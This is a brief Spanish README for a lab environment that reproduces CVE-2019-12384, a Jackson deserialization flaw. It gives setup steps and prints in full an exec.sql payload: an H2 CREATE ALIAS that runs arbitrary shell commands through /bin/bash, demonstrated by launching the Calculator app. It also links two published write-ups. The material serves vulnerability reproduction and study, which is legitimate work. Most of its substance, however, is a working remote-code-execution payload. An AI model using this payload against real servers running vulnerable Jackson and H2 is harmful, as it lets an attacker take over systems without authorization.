
CVE-2019-12384 entorno de prueba de vulnerabilidad
Importe el proyecto a IDEA, luego configure Maven para que descargue automáticamente las dependencias, luego cree el siguiente archivo en un directorio web vacío local, guárdelo como exec.sql. E inicie un servidor http:
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"/bin/bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\0A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('open /Applications/Calculator.app')
Tenga en cuenta modificar las partes correspondientes del código para adaptarlo a diferentes sistemas operativos.
Se puede ver que aparece la calculadora.
https://blog.doyensec.com/2019/07/22/jackson-gadgets.html
https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html